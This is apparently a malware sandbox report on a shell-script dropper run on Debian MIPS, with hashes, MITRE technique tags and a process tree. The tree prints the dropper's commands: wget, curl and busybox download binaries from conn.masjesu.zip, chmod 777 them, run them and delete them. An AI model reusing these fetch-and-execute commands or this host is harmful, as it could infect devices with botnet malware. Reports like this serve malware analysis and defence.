f1cbaa85e5e212fbddf89e51402cb69cfa08152e002ddd74fa77a501dc2550b4

Analysis

max time kernel
104s
max time network
107s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
19/11/2024, 13:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f1cbaa85e5e212fbddf89e51402cb69cfa08152e002ddd74fa77a501dc2550b4.sh
Size

10KB
MD5

3181fce359a0e191b4e8a2ec2ca58735
SHA1

3832ec1ed5fcacfa13dd189e9da211838da74044
SHA256

f1cbaa85e5e212fbddf89e51402cb69cfa08152e002ddd74fa77a501dc2550b4
SHA512

312c30c43236510ad4c6b237258daab7db8169bebc1cf0a33c88703f0fd594e15b39927123f73c662bb1202f1dd0f0dff7f400a24f74bbd88e684f7de6f7bb79
SSDEEP

192:pEwFNSTPmyh3vaZdf7bKHjjUsWizjUhVjzjUhVYUsr9FNSTP27bKZ3vaZd5:pEwFNSTPmyh3vaZdaHjjUsWizjUhVjzb

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod
746	chmod
904	chmod
995	chmod
1009	chmod
932	chmod
960	chmod
757	chmod
822	chmod
911	chmod
981	chmod
1002	chmod
866	chmod
873	chmod
918	chmod
939	chmod
967	chmod
897	chmod
974	chmod
785	chmod
880	chmod
887	chmod
946	chmod
812	chmod
988	chmod
843	chmod
925	chmod
953	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
876	wget
970	wget
750	curl
804	curl
921	wget
991	wget
994	busybox
1008	busybox
738	busybox
743	curl
791	wget
826	curl
838	busybox
892	curl
907	wget
908	curl
973	busybox
715	wget
943	curl
957	curl
752	busybox
938	busybox
952	busybox
971	curl
977	wget
992	curl
742	wget
773	curl
781	busybox
818	wget
884	curl
886	busybox
914	wget
1005	wget
819	curl
915	curl
922	curl
980	busybox
726	curl
865	busybox
869	wget
917	busybox
928	wget
931	busybox
956	wget
870	curl
942	wget
903	busybox
924	busybox
935	wget
985	curl
896	busybox
929	curl
998	wget
745	busybox
849	wget
949	wget
959	busybox
966	busybox
984	wget
825	wget
872	busybox
883	wget
900	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo	curl
File opened for modification	/tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS	curl
File opened for modification	/tmp/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg	curl
File opened for modification	/tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv	curl
File opened for modification	/tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE	curl
File opened for modification	/tmp/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo	curl
File opened for modification	/tmp/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n	curl
File opened for modification	/tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT	curl
File opened for modification	/tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF	curl
File opened for modification	/tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh	curl
File opened for modification	/tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE	curl
File opened for modification	/tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh	curl
File opened for modification	/tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY	curl
File opened for modification	/tmp/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl	curl
File opened for modification	/tmp/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU	curl
File opened for modification	/tmp/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n	curl
File opened for modification	/tmp/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU	curl
File opened for modification	/tmp/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r	curl
File opened for modification	/tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno	curl
File opened for modification	/tmp/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r	curl
File opened for modification	/tmp/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg	curl
File opened for modification	/tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv	curl
File opened for modification	/tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY	curl
File opened for modification	/tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT	curl
File opened for modification	/tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF	curl
File opened for modification	/tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS	curl
File opened for modification	/tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno	curl
File opened for modification	/tmp/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl	curl

/tmp/f1cbaa85e5e212fbddf89e51402cb69cfa08152e002ddd74fa77a501dc2550b4.sh
/tmp/f1cbaa85e5e212fbddf89e51402cb69cfa08152e002ddd74fa77a501dc2550b4.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - System Network Configuration Discovery
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/chmod
  chmod 777 dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  ./dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  PID:741
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  ./rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod 777 cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  ./cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - Executes dropped EXE
  PID:758
- /bin/rm
  rm cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  PID:761
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  - System Network Configuration Discovery
  PID:781
- /bin/chmod
  chmod 777 OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  ./OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  PID:790
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - System Network Configuration Discovery
  PID:791
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  PID:811
- /bin/chmod
  chmod 777 DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  ./DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm DH1MmD4fcgYdOGKUaEOWSljzWaSaF4oCGE
  2⤵
  PID:817
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - System Network Configuration Discovery
  PID:818
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  PID:821
- /bin/chmod
  chmod 777 lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  ./lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm lCmzMzy10De6K76cAoPD8qRXIr4gy8YrvT
  2⤵
  PID:824
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - System Network Configuration Discovery
  PID:825
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - System Network Configuration Discovery
  PID:838
- /bin/chmod
  chmod 777 YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  ./YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm YuMp82N9zROSjtDd0AcKpdBlOeFWXZo1gF
  2⤵
  PID:847
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - System Network Configuration Discovery
  PID:849
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - System Network Configuration Discovery
  PID:865
- /bin/chmod
  chmod 777 qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  ./qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  PID:868
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - System Network Configuration Discovery
  PID:869
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - System Network Configuration Discovery
  PID:872
- /bin/chmod
  chmod 777 4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  ./4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm 4HRTUZF7egiT297nOXXVua0U2PytPm2Rkl
  2⤵
  PID:875
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - System Network Configuration Discovery
  PID:876
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  PID:879
- /bin/chmod
  chmod 777 QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  ./QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm QhoUhaFiYEAiXXB0U2ObfJBUX2Tkn7s59r
  2⤵
  PID:882
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - System Network Configuration Discovery
  PID:883
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - System Network Configuration Discovery
  PID:886
- /bin/chmod
  chmod 777 WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  ./WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm WN8tXO50p1h2xAyC2THmqnX2OURjWtyeXU
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - System Network Configuration Discovery
  PID:896
- /bin/chmod
  chmod 777 AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  ./AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - System Network Configuration Discovery
  PID:903
- /bin/chmod
  chmod 777 QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  ./QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  PID:906
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  PID:910
- /bin/chmod
  chmod 777 GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  ./GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  PID:913
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - System Network Configuration Discovery
  PID:914
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - System Network Configuration Discovery
  PID:917
- /bin/chmod
  chmod 777 GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  ./GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm GfqI0ExXDRG3xczOL4ewjQIfjEcnbhfK9n
  2⤵
  PID:920
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - System Network Configuration Discovery
  PID:921
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - System Network Configuration Discovery
  PID:924
- /bin/chmod
  chmod 777 AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  ./AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm AHpKoX7WfWKntwDX4rUALXWJVzQ5wQfQvg
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - System Network Configuration Discovery
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - System Network Configuration Discovery
  PID:931
- /bin/chmod
  chmod 777 QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  ./QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm QsrczopMLY8I2gXUi7sOGVsVI1WWcx5Udo
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - System Network Configuration Discovery
  PID:938
- /bin/chmod
  chmod 777 cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  ./cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm cYOgocc1QYc8Wp0fkzL4Np2W94Ixf1rAno
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  PID:945
- /bin/chmod
  chmod 777 dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  ./dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm dUWQfcDza44TqQZwfKyWjJ3STBXRCPSvMS
  2⤵
  PID:948
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - System Network Configuration Discovery
  PID:949
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - System Network Configuration Discovery
  PID:952
- /bin/chmod
  chmod 777 rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  ./rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm rYwaP2snVGy03d78wKeO9CVPcvyEL33zQv
  2⤵
  PID:955
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - System Network Configuration Discovery
  PID:956
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - System Network Configuration Discovery
  PID:959
- /bin/chmod
  chmod 777 qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  ./qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm qwl05Pdk7kVIC3sZb5RLp8ARBBsvC4lnyY
  2⤵
  PID:962
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  - System Network Configuration Discovery
  PID:966
- /bin/chmod
  chmod 777 OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/OgHxxrUKGF2DC93TErrhbLgJkzo7X63Moh
